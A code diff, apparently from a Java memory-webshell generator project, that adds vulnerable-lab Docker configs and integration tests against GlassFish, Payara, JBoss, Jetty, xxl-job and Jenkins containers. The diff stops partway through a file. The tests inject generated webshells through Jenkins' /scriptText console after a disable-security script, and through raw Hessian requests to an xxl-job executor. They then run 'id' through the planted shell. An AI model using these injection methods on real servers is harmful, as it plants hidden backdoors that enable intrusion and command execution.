JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
|
||||
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/resin2/webapps/app.war
|
||||
@@ -8,4 +8,4 @@ services:
|
||||
environment:
|
||||
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
|
||||
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
services:
|
||||
admin:
|
||||
image: reajason/xxl-job:2.0.2-admin
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:8080"
|
||||
executor:
|
||||
image: reajason/xxl-job:2.0.2-executor
|
||||
depends_on:
|
||||
- admin
|
||||
ports:
|
||||
- "9999:9999"
|
||||
db:
|
||||
image: mysql:8
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
@@ -0,0 +1,17 @@
|
||||
services:
|
||||
admin:
|
||||
image: reajason/xxl-job:2.1.2-admin
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:8080"
|
||||
executor:
|
||||
image: reajason/xxl-job:2.1.2-executor
|
||||
depends_on:
|
||||
- admin
|
||||
ports:
|
||||
- "9999:9999"
|
||||
db:
|
||||
image: mysql:8
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
@@ -16,6 +16,7 @@ public class ContainerTool {
|
||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
||||
public static final MountableFile servlet2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-servlet2", "build", "libs", "vul-webapp-servlet2.war").toAbsolutePath(), 0666);
|
||||
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
|
||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||
|
||||
@@ -27,6 +28,8 @@ public class ContainerTool {
|
||||
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath());
|
||||
|
||||
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
||||
|
||||
|
||||
@@ -381,7 +381,8 @@ public class ShellAssertion {
|
||||
}
|
||||
if (Packers.SpELSpringGzipJDK17.equals(packer)
|
||||
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|
||||
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
|
||||
|| Packers.JXPathSpringGzipJDK17.equals(packer)
|
||||
|| Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) {
|
||||
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
||||
}
|
||||
|
||||
@@ -429,7 +430,7 @@ public class ShellAssertion {
|
||||
case Rhino -> VulTool.postIsOk(url + "/rhino", content);
|
||||
case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
|
||||
case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
|
||||
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content);
|
||||
case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
|
||||
case Velocity -> VulTool.postIsOk(url + "/velocity", content);
|
||||
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
|
||||
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
|
||||
@@ -444,9 +445,11 @@ public class ShellAssertion {
|
||||
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
||||
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
|
||||
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
||||
case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content);
|
||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||
case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content);
|
||||
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
|
||||
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
|
||||
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
||||
|
||||
@@ -6,6 +6,7 @@ import okhttp3.*;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.Base64;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
@@ -78,6 +79,23 @@ public class VulTool {
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
|
||||
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
|
||||
OkHttpClient client = new OkHttpClient();
|
||||
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.post(body)
|
||||
.addHeader("Connection", "close")
|
||||
.build();
|
||||
log.info("sending hessian2 xxl-rpc request to: {}", url);
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
log.info("xxl-rpc hessian2 response code: {}", response.code());
|
||||
Thread.sleep(1000);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void xxlJobExecutor(String url, String data) {
|
||||
OkHttpClient client = new OkHttpClient();
|
||||
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class GlassFish7JDK21ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:7.1.1-jdk21",
|
||||
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class GlassFish8ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:8.0.3-jdk21",
|
||||
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+2
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -22,6 +23,7 @@ public class Jboss510ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
|
||||
"reajason/jboss:5-jdk6",
|
||||
"/usr/local/jboss/server/web/deploy/app.war")
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
|
||||
+175
@@ -0,0 +1,175 @@
|
||||
package com.reajason.javaweb.integration.memshell.jenkins;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.nio.file.Path;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
@Testcontainers
|
||||
public class JenkinsJetty2575JDK21ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||
.builder()
|
||||
.imageName("jenkins/jenkins:2.575-jdk21")
|
||||
.env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false"))
|
||||
.server(Server.Jetty)
|
||||
.jakarta(true)
|
||||
.serverVersion("12")
|
||||
.targetJdkVersion(Opcodes.V17)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/login")
|
||||
.assertLogs(false)
|
||||
.waitStrategy(Wait.forHttp("/login").forPort(8080))
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER
|
||||
))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.Groovy))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.enableJspPackerTest(false)
|
||||
.build();
|
||||
|
||||
private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath(
|
||||
Path.of("script", "disable-security.groovy").toAbsolutePath());
|
||||
private static final OkHttpClient HTTP_CLIENT = new OkHttpClient();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network)
|
||||
.withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy");
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
|
||||
String url = getUrl();
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
|
||||
String urlPattern = urls.getRight();
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(),
|
||||
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
|
||||
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
|
||||
injectByScriptText(url, payload);
|
||||
ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer());
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void runProbeInject(ContainerTestConfig config, String shellType) {
|
||||
String url = getUrl();
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.Groovy;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
|
||||
String urlPattern = urls.getRight();
|
||||
if (urlPattern != null) {
|
||||
shellUrl += "testProbe";
|
||||
urlPattern += "testProbe";
|
||||
}
|
||||
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
|
||||
? config.getTargetJdkVersion()
|
||||
: config.getProbeTargetJdkVersion();
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(config.getServer())
|
||||
.serverVersion(config.getServerVersion())
|
||||
.shellType(shellType)
|
||||
.shellTool(shellTool)
|
||||
.targetJreVersion(probeTargetJdkVersion)
|
||||
.debug(false)
|
||||
.probe(true)
|
||||
.build();
|
||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||
.urlPattern(urlPattern)
|
||||
.staticInitialize(true)
|
||||
.build();
|
||||
String paramName = "tomcatProbe" + shellType;
|
||||
CommandConfig commandConfig = CommandConfig.builder()
|
||||
.paramName(paramName)
|
||||
.build();
|
||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
||||
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
|
||||
String res = injectByScriptText(url, payload);
|
||||
assertThat(res, anyOf(
|
||||
containsString("context: "),
|
||||
containsString("server: "),
|
||||
containsString("channel: "),
|
||||
containsString("namespace: ")
|
||||
));
|
||||
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private String injectByScriptText(String url, String payload) {
|
||||
RequestBody requestBody = new FormBody.Builder()
|
||||
.add("script", payload)
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.url(url + "/scriptText")
|
||||
.post(requestBody)
|
||||
.build();
|
||||
try (Response response = HTTP_CLIENT.newCall(request).execute()) {
|
||||
String body = response.body().string();
|
||||
assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body);
|
||||
assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
private boolean isScriptTextResponseOk(String body) {
|
||||
String normalizedBody = body.toLowerCase(Locale.ROOT);
|
||||
return !normalizedBody.contains("groovy.lang.missing")
|
||||
&& !normalizedBody.contains("groovy.lang.groovyruntimeexception")
|
||||
&& !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception")
|
||||
&& !normalizedBody.contains("script1.groovy")
|
||||
&& !normalizedBody.contains("exception");
|
||||
}
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Jetty51ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.
|
||||
builder()
|
||||
.imageName("reajason/jetty:5.1.10-jdk6")
|
||||
.server(Server.Jetty5)
|
||||
.pidScript(ContainerTool.jettyPid)
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.warDeployPath("/usr/local/jetty/webapps/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.LISTENER,
|
||||
ShellType.FILTER
|
||||
))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
package com.reajason.javaweb.integration.memshell.payara;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Payara6202312ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"payara/server-web:6.2023.12",
|
||||
"/opt/payara/deployments/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V11)
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.assertLogs(false)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
package com.reajason.javaweb.integration.memshell.payara;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Payara6202412ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"payara/server-web:6.2024.12-jdk17",
|
||||
"/opt/payara/deployments/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V11)
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.assertLogs(false)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
package com.reajason.javaweb.integration.memshell.payara;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Payara6202511ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"payara/server-web:6.2025.11-jdk21",
|
||||
"/opt/payara/deployments/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V11)
|
||||
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.assertLogs(false)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
